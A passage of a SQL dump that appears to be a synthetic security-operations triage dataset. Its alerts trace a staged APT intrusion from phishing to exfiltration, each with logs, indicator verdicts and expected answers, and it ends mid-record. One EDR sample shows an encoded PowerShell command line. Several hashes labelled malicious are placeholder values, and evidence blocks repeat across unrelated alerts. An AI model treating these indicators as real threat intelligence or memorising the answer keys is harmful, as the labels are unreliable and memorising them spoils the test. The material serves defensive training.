'{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1157, 'Lateral Movement via Infected Applications', 'high', 'Network Traffic Analysis', 'An advanced threat actor is leveraging compromised applications to facilitate lateral movement within the network. The actor uses a backdoor to deploy these applications, expanding their access to additional internal devices.', 'Lateral Movement', 'T1210: Exploitation of Remote Services', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\",\"event_type\":\"connection_attempt\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"username\":\"jdoe\",\"filename\":\"compromised_app_v2.exe\",\"protocol\":\"SMB\",\"action\":\"allowed\"}', '2026-02-07 21:13:37', '2026-02-23 19:56:40', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with APT group activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal asset within the network.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware used by APT group.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"compromised_app_v2.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security Logs\",\"verdict\":\"suspicious\",\"details\":\"File detected as part of lateral movement attempts.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Legitimate user account within the organization.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1158, 'Data Exfiltration to Remote Server', 'critical', 'Firewall and Proxy Logs', 'The operation culminates with the exfiltration of sensitive data, including government communications and military plans, to an external server controlled by the adversaries.', 'Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T14:35:21Z\",\"internal_ip\":\"10.0.15.7\",\"external_ip\":\"203.0.113.45\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"user\":\"jdoe\",\"file_hash\":\"7d793037a0760186574b0282f2f435e7\",\"file_name\":\"confidential_plans.zip\",\"action\":\"allowed\",\"bytes_sent\":2547893,\"proxy_status\":\"successful\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"uri\":\"/upload\"}', '2026-02-07 21:13:37', '2026-02-16 05:01:40', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.15.7\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP used by user jdoe.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with command and control server.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"7d793037a0760186574b0282f2f435e7\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malware hash associated with data exfiltration activities.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_plans.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"suspicious\",\"details\":\"Filename suggests sensitive content being exfiltrated.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1159, 'Suspicious Email with Malicious InPage Attachment', 'high', 'Email Gateway Logs', 'Bitter APT initiates the attack by sending phishing emails with malicious InPage documents to government employees. The email contains an attachment titled \'Official_Document.inp\' which is suspected to be malicious.', 'Phishing', 'T1566.001', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T10:15:30Z\",\"email_id\":\"msg123456789\",\"sender\":\"bitter.apt@example.com\",\"recipient\":\"john.doe@government.gov\",\"subject\":\"Urgent: Official Document\",\"attachment\":{\"filename\":\"Official_Document.inp\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"size\":102400},\"network\":{\"source_ip\":\"203.0.113.15\",\"destination_ip\":\"192.168.1.100\"},\"email_headers\":{\"from\":\"bitter.apt@example.com\",\"to\":\"john.doe@government.gov\",\"subject\":\"Urgent: Official Document\",\"message_id\":\"<1234567890@example.com>\"}}', '2026-02-07 21:14:20', '2026-02-23 17:44:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"bitter.apt@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known APT group email address\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"InPage malware associated with Bitter APT\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known Bitter APT command and control server\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Official_Document.inp\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual file type for email attachment\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email with Malicious InPage Attachment\",\"date\":\"2026-02-08T19:00:00.296Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1160, 'Execution of Exploited InPage Document', 'high', 'Endpoint Detection and Response (EDR)', 'A malicious InPage document was opened, triggering its embedded exploit to execute code, resulting in system compromise. This action was detected on an endpoint, indicating the exploitation of an InPage vulnerability.', 'Code Execution', 'T1203: Exploitation for Client Execution', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-10T14:32:45Z\",\"event_id\":\"EDR-20231010-000567\",\"hostname\":\"compromised-host-01\",\"username\":\"jdoe\",\"source_ip\":\"192.168.1.45\",\"attacker_ip\":\"203.0.113.42\",\"file_name\":\"invoice_2023.inp\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"process_name\":\"inpage.exe\",\"command_line\":\"\\\"C:\\\\Program Files\\\\InPage\\\\inpage.exe\\\" \\\"C:\\\\Users\\\\jdoe\\\\Downloads\\\\invoice_2023.inp\\\"\",\"indicators\":[{\"type\":\"ip\",\"value\":\"203.0.113.42\"},{\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\"},{\"type\":\"filename\",\"value\":\"invoice_2023.inp\"},{\"type\":\"username\",\"value\":\"jdoe\"}]}', '2026-02-07 21:14:20', '2026-02-23 17:45:24', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.42\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group activity.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known malicious InPage document exploit.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"invoice_2023.inp\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename pattern matches known malicious documents.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"Active directory user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1161, 'ArtraDownloader Malware Installation', 'high', 'Host-based Intrusion Detection System (HIDS)', 'ArtraDownloader has been installed on the compromised system to establish persistence and facilitate further attacks.', 'Malware Installation', 'T1546', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T14:32:10Z\",\"event_id\":\"4624\",\"message\":\"Installation of ArtraDownloader detected.\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.1.15\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"artradownloader.exe\",\"user\":\"compromised_user\",\"process_id\":\"1234\",\"context\":\"Persistence mechanism added via registry modification.\"}', '2026-02-07 21:14:20', '2026-02-23 19:34:35', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP known for distributing malware.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised system.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with ArtraDownloader malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"artradownloader.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Filename linked to ArtraDownloader.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"suspicious\",\"details\":\"User account showing anomalous behavior.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-08T19:00:00.298Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:10Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"message\\\":\\\"Installation of ArtraDownloader detected.\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.1.15\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"artradownloader.exe\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"process_id\\\":\\\"1234\\\",\\\"context\\\":\\\"Persistence mechanism added via registry modification.\\\"}\"},{\"timestamp\":\"2026-02-08T18:59:00.298Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:10Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"message\\\":\\\"Installation of ArtraDownloader detected.\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.1.15\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"artradownloader.exe\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"process_id\\\":\\\"1234\\\",\\\"context\\\":\\\"Persistence mechanism added via registry modification.\\\"}\"},{\"timestamp\":\"2026-02-08T18:58:00.298Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:10Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"message\\\":\\\"Installation of ArtraDownloader detected.\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.1.15\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"artradownloader.exe\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"process_id\\\":\\\"1234\\\",\\\"context\\\":\\\"Persistence mechanism added via registry modification.\\\"}\"},{\"timestamp\":\"2026-02-08T18:57:00.298Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:10Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"message\\\":\\\"Installation of ArtraDownloader detected.\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.1.15\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"artradownloader.exe\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"process_id\\\":\\\"1234\\\",\\\"context\\\":\\\"Persistence mechanism added via registry modification.\\\"}\"},{\"timestamp\":\"2026-02-08T18:56:00.298Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:10Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"message\\\":\\\"Installation of ArtraDownloader detected.\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.1.15\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"artradownloader.exe\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"process_id\\\":\\\"1234\\\",\\\"context\\\":\\\"Persistence mechanism added via registry modification.\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1162, 'Lateral Movement via Compromised Credentials', 'high', 'Network Traffic Analysis', 'Bitter APT used compromised credentials to access a critical server in the internal network, attempting lateral movement with potential data exfiltration.', 'Credential Access', 'T1078: Valid Accounts', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-10T14:22:57Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.1.1.15\",\"username\":\"j.doe\",\"event\":\"Successful login attempt\",\"protocol\":\"RDP\",\"file_name\":\"bitter_agent.dll\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"status\":\"Accepted\",\"log_id\":\"evt-20231010142257\"}', '2026-02-07 21:14:20', '2026-02-23 19:37:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known Bitter APT infrastructure\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Critical internal server targeted\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Employee credentials used\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"bitter_agent.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Database\",\"verdict\":\"malicious\",\"details\":\"Associated with Bitter APT operations\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malicious hash related to Bitter APT\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1163, 'Data Exfiltration of Sensitive Government Documents', 'critical', 'Data Loss Prevention (DLP) Systems', 'The operation culminated with the exfiltration of sensitive documents from the government network. The attacker used a compromised user account to transfer the files to an external server, marking the completion of the intelligence-gathering mission.', 'Data Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T03:45:27Z\",\"event_id\":\"DLP-EXFIL-2023\",\"source_ip\":\"10.0.2.15\",\"destination_ip\":\"203.0.113.45\",\"user\":\"jdoe\",\"action\":\"file_transfer\",\"transferred_files\":[{\"filename\":\"classified_documents.zip\",\"hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"size\":\"150MB\"}],\"protocol\":\"HTTPS\",\"status\":\"success\"}', '2026-02-07 21:14:20', '2026-02-16 04:59:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known threat actor APT32\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash matches known exfiltration tool\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"internal\",\"details\":\"Compromised user account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-08T19:00:02.424Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:27Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-2023\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"transferred_files\\\":[{\\\"filename\\\":\\\"classified_documents.zip\\\",\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"size\\\":\\\"150MB\\\"}],\\\"protocol\\\":\\\"HTTPS\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-08T18:59:02.424Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:27Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-2023\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"transferred_files\\\":[{\\\"filename\\\":\\\"classified_documents.zip\\\",\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"size\\\":\\\"150MB\\\"}],\\\"protocol\\\":\\\"HTTPS\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-08T18:58:02.424Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:27Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-2023\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"transferred_files\\\":[{\\\"filename\\\":\\\"classified_documents.zip\\\",\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"size\\\":\\\"150MB\\\"}],\\\"protocol\\\":\\\"HTTPS\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-08T18:57:02.424Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:27Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-2023\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"transferred_files\\\":[{\\\"filename\\\":\\\"classified_documents.zip\\\",\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"size\\\":\\\"150MB\\\"}],\\\"protocol\\\":\\\"HTTPS\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-08T18:56:02.424Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:27Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-2023\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"transferred_files\\\":[{\\\"filename\\\":\\\"classified_documents.zip\\\",\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"size\\\":\\\"150MB\\\"}],\\\"protocol\\\":\\\"HTTPS\\\",\\\"status\\\":\\\"success\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1164, 'Spear Phishing Email Detected', 'high', 'Email Gateway Logs', 'A spear-phishing email was detected targeting a high-ranking official in the military department. The email contained a malicious attachment named \'confidential_report.pdf.exe\' intended to deploy the Elise backdoor.', 'Initial Access', 'T1566.001 - Spear Phishing Attachment', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T08:32:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.25\",\"email_subject\":\"Urgent: Confidential Military Report\",\"sender_email\":\"unknown@trustedgov.com\",\"recipient_email\":\"general.johnson@military.gov\",\"attachment_name\":\"confidential_report.pdf.exe\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malware_family\":\"Elise\",\"smtp_server\":\"smtp.trustedgov.com\"}', '2026-02-07 21:21:11', '2026-02-23 17:39:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known C2 